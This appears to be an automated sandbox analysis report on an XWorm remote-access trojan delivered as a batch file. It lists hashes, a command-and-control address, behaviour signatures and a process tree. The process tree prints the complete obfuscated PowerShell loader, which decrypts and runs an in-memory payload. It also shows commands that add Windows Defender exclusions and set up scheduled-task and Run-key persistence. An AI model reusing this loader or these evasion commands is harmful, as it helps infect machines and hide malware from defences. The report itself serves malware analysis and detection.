Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows11-21h2_x64 -
resource
win11-20240704-en -
resource tags
arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system -
submitted
06/07/2024, 07:02
Static task
static1
Behavioral task
behavioral1
Sample
boot.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
boot.bat
Resource
win10v2004-20240704-en
Behavioral task
behavioral3
Sample
boot.bat
Resource
win11-20240704-en
General
-
Target
boot.bat
-
Size
410KB
-
MD5
d87efb4cf8da07e1956944f23313bb5b
-
SHA1
929203873eaf41e02377a26e1ef4db8a88d37696
-
SHA256
f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd
-
SHA512
d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a
-
SSDEEP
12288:xpWbCqT4gUVKkPSmSZ+XPk6V4mzYWQvKMbGt:xkGqTjURpXPkAUvvKMit
Malware Config
Extracted
xworm
case-shield.gl.at.ply.gg:26501
-
Install_directory
%Userprofile%
-
install_file
system.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral3/memory/2412-48-0x0000012AF6CF0000-0x0000012AF6D0A000-memory.dmp family_xworm -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 2412 powershell.exe 4 2412 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 128 powershell.exe 3152 powershell.exe 3524 powershell.exe 3424 powershell.exe 5052 powershell.exe 880 powershell.exe 2412 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4904 system.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000\Software\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\system.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\system svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2308 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5052 powershell.exe 5052 powershell.exe 880 powershell.exe 880 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 3524 powershell.exe 3524 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 3424 powershell.exe 3424 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 128 powershell.exe 128 powershell.exe 3152 powershell.exe 3152 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5052 powershell.exe Token: SeDebugPrivilege 880 powershell.exe Token: SeIncreaseQuotaPrivilege 880 powershell.exe Token: SeSecurityPrivilege 880 powershell.exe Token: SeTakeOwnershipPrivilege 880 powershell.exe Token: SeLoadDriverPrivilege 880 powershell.exe Token: SeSystemProfilePrivilege 880 powershell.exe Token: SeSystemtimePrivilege 880 powershell.exe Token: SeProfSingleProcessPrivilege 880 powershell.exe Token: SeIncBasePriorityPrivilege 880 powershell.exe Token: SeCreatePagefilePrivilege 880 powershell.exe Token: SeBackupPrivilege 880 powershell.exe Token: SeRestorePrivilege 880 powershell.exe Token: SeShutdownPrivilege 880 powershell.exe Token: SeDebugPrivilege 880 powershell.exe Token: SeSystemEnvironmentPrivilege 880 powershell.exe Token: SeRemoteShutdownPrivilege 880 powershell.exe Token: SeUndockPrivilege 880 powershell.exe Token: SeManageVolumePrivilege 880 powershell.exe Token: 33 880 powershell.exe Token: 34 880 powershell.exe Token: 35 880 powershell.exe Token: 36 880 powershell.exe Token: SeIncreaseQuotaPrivilege 880 powershell.exe Token: SeSecurityPrivilege 880 powershell.exe Token: SeTakeOwnershipPrivilege 880 powershell.exe Token: SeLoadDriverPrivilege 880 powershell.exe Token: SeSystemProfilePrivilege 880 powershell.exe Token: SeSystemtimePrivilege 880 powershell.exe Token: SeProfSingleProcessPrivilege 880 powershell.exe Token: SeIncBasePriorityPrivilege 880 powershell.exe Token: SeCreatePagefilePrivilege 880 powershell.exe Token: SeBackupPrivilege 880 powershell.exe Token: SeRestorePrivilege 880 powershell.exe Token: SeShutdownPrivilege 880 powershell.exe Token: SeDebugPrivilege 880 powershell.exe Token: SeSystemEnvironmentPrivilege 880 powershell.exe Token: SeRemoteShutdownPrivilege 880 powershell.exe Token: SeUndockPrivilege 880 powershell.exe Token: SeManageVolumePrivilege 880 powershell.exe Token: 33 880 powershell.exe Token: 34 880 powershell.exe Token: 35 880 powershell.exe Token: 36 880 powershell.exe Token: SeIncreaseQuotaPrivilege 880 powershell.exe Token: SeSecurityPrivilege 880 powershell.exe Token: SeTakeOwnershipPrivilege 880 powershell.exe Token: SeLoadDriverPrivilege 880 powershell.exe Token: SeSystemProfilePrivilege 880 powershell.exe Token: SeSystemtimePrivilege 880 powershell.exe Token: SeProfSingleProcessPrivilege 880 powershell.exe Token: SeIncBasePriorityPrivilege 880 powershell.exe Token: SeCreatePagefilePrivilege 880 powershell.exe Token: SeBackupPrivilege 880 powershell.exe Token: SeRestorePrivilege 880 powershell.exe Token: SeShutdownPrivilege 880 powershell.exe Token: SeDebugPrivilege 880 powershell.exe Token: SeSystemEnvironmentPrivilege 880 powershell.exe Token: SeRemoteShutdownPrivilege 880 powershell.exe Token: SeUndockPrivilege 880 powershell.exe Token: SeManageVolumePrivilege 880 powershell.exe Token: 33 880 powershell.exe Token: 34 880 powershell.exe Token: 35 880 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2412 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1672 wrote to memory of 3940 1672 cmd.exe 79 PID 1672 wrote to memory of 3940 1672 cmd.exe 79 PID 1672 wrote to memory of 5052 1672 cmd.exe 80 PID 1672 wrote to memory of 5052 1672 cmd.exe 80 PID 5052 wrote to memory of 880 5052 powershell.exe 81 PID 5052 wrote to memory of 880 5052 powershell.exe 81 PID 5052 wrote to memory of 2700 5052 powershell.exe 84 PID 5052 wrote to memory of 2700 5052 powershell.exe 84 PID 2700 wrote to memory of 220 2700 WScript.exe 85 PID 2700 wrote to memory of 220 2700 WScript.exe 85 PID 220 wrote to memory of 3316 220 cmd.exe 87 PID 220 wrote to memory of 3316 220 cmd.exe 87 PID 220 wrote to memory of 2412 220 cmd.exe 88 PID 220 wrote to memory of 2412 220 cmd.exe 88 PID 2412 wrote to memory of 3320 2412 powershell.exe 53 PID 2412 wrote to memory of 1768 2412 powershell.exe 30 PID 2412 wrote to memory of 1960 2412 powershell.exe 33 PID 2412 wrote to memory of 2352 2412 powershell.exe 40 PID 2412 wrote to memory of 2548 2412 powershell.exe 43 PID 2412 wrote to memory of 1756 2412 powershell.exe 35 PID 2412 wrote to memory of 1164 2412 powershell.exe 18 PID 2412 wrote to memory of 764 2412 powershell.exe 15 PID 2412 wrote to memory of 1760 2412 powershell.exe 29 PID 2412 wrote to memory of 1548 2412 powershell.exe 27 PID 2412 wrote to memory of 952 2412 powershell.exe 11 PID 2412 wrote to memory of 1536 2412 powershell.exe 26 PID 2412 wrote to memory of 740 2412 powershell.exe 14 PID 2412 wrote to memory of 1132 2412 powershell.exe 17 PID 2412 wrote to memory of 1708 2412 powershell.exe 28 PID 2412 wrote to memory of 1508 2412 powershell.exe 25 PID 2412 wrote to memory of 2492 2412 powershell.exe 42 PID 2412 wrote to memory of 2484 2412 powershell.exe 41 PID 2412 wrote to memory of 1892 2412 powershell.exe 32 PID 2412 wrote to memory of 2580 2412 powershell.exe 68 PID 2412 wrote to memory of 2672 2412 powershell.exe 48 PID 2412 wrote to memory of 3456 2412 powershell.exe 54 PID 2412 wrote to memory of 1088 2412 powershell.exe 16 PID 2412 wrote to memory of 1280 2412 powershell.exe 70 PID 2412 wrote to memory of 1868 2412 powershell.exe 31 PID 2412 wrote to memory of 4032 2412 powershell.exe 61 PID 2412 wrote to memory of 2060 2412 powershell.exe 36 PID 2412 wrote to memory of 1468 2412 powershell.exe 24 PID 2412 wrote to memory of 2648 2412 powershell.exe 47 PID 2412 wrote to memory of 2252 2412 powershell.exe 39 PID 2412 wrote to memory of 1188 2412 powershell.exe 19 PID 2412 wrote to memory of 2640 2412 powershell.exe 46 PID 2412 wrote to memory of 1244 2412 powershell.exe 22 PID 2412 wrote to memory of 4920 2412 powershell.exe 74 PID 2412 wrote to memory of 4780 2412 powershell.exe 66 PID 2412 wrote to memory of 3496 2412 powershell.exe 55 PID 2412 wrote to memory of 4384 2412 powershell.exe 63 PID 2412 wrote to memory of 836 2412 powershell.exe 10 PID 2412 wrote to memory of 1228 2412 powershell.exe 21 PID 2412 wrote to memory of 2592 2412 powershell.exe 44 PID 2412 wrote to memory of 2192 2412 powershell.exe 38 PID 2412 wrote to memory of 2388 2412 powershell.exe 67 PID 2412 wrote to memory of 1204 2412 powershell.exe 20 PID 2412 wrote to memory of 1004 2412 powershell.exe 12 PID 2412 wrote to memory of 4616 2412 powershell.exe 73 PID 2412 wrote to memory of 1392 2412 powershell.exe 23 PID 2412 wrote to memory of 3044 2412 powershell.exe 50 PID 2412 wrote to memory of 1976 2412 powershell.exe 34 PID 2412 wrote to memory of 3524 2412 powershell.exe 89 PID 2412 wrote to memory of 3524 2412 powershell.exe 89 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵PID:836
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1004
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:740
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:764
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1088
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1132
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1164
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1188 -
C:\Users\Admin\system.exeC:\Users\Admin\system.exe2⤵
- Executes dropped EXE
PID:4904
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1204
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1228
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1244
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1392
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1468
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1508
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1536
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1548
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1708
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1760
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1768
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1868
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1892
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1976
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1756
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2060
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2192
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2252
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2352
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2484
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2492
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2548
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2592
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2640
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2648
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2672
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3044
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3320
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\boot.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Local\Temp\boot.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3940
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_184_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:880
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:3316
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3524
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3424
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\system.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:128
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3152
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\system.exe"7⤵
- Scheduled Task/Job: Scheduled Task
PID:2308
-
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3456
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3496
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4032
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4780
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2388
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2580
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1280
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4616
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4920
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5df472dcddb36aa24247f8c8d8a517bd7
SHA16f54967355e507294cbc86662a6fbeedac9d7030
SHA256e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
SHA51206383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
-
Filesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
-
Filesize
1KB
MD53ec0d76d886b2f4b9f1e3da7ce9e2cd7
SHA168a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea
SHA256214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
SHA512a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6
-
Filesize
1KB
MD52f8f22fd5d2b19935f8a6268fabe255c
SHA1fea7116a5e56c501439fa0261d2c89564c939a1b
SHA256c3129137313ae7bd0bc8b22bd043708e9890398876608f45c0ad33108a41d5c2
SHA5122f5af078f6ec28116349e1dc4c05b4d6dc9bdcbe4f28bbeb0f43e1492a8a1aaaff074f4ea2a8119c3ea728c15ae721ecdaafad1d6a1edda208ee5dbc16b347ec
-
Filesize
944B
MD51a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA19910190edfaccece1dfcc1d92e357772f5dae8f7
SHA2560ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
SHA5125d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64
-
Filesize
944B
MD5ca8714c6f4f79aab61db3cd5f6b113cf
SHA1de8a46cec8b3a4782c915d9ae9a8adc60885a06c
SHA2566add231bbd51ead7de16ce1fd3a6c43fcf05fbb3301ac23705e371e835b20a73
SHA51290dc5f0e0c97eed62c9951b823b74a4b97f670025086a852bda84737ff77aaf965fe4c2f9d2fa0214d32d66564191a83752a4a4f8cb3db92ad3ba0a35c40592f
-
Filesize
944B
MD5cef328ddb1ee8916e7a658919323edd8
SHA1a676234d426917535e174f85eabe4ef8b88256a5
SHA256a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90
SHA512747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
410KB
MD5d87efb4cf8da07e1956944f23313bb5b
SHA1929203873eaf41e02377a26e1ef4db8a88d37696
SHA256f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd
SHA512d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a
-
Filesize
124B
MD5073c1e94055d06e96956d57543b0a047
SHA1c306b25a9acc525852365e9709f91f594f4ea669
SHA25608aac2bf9f27a383766e7e8cd9089cfb23903000704f6dfd727dec75101918a4
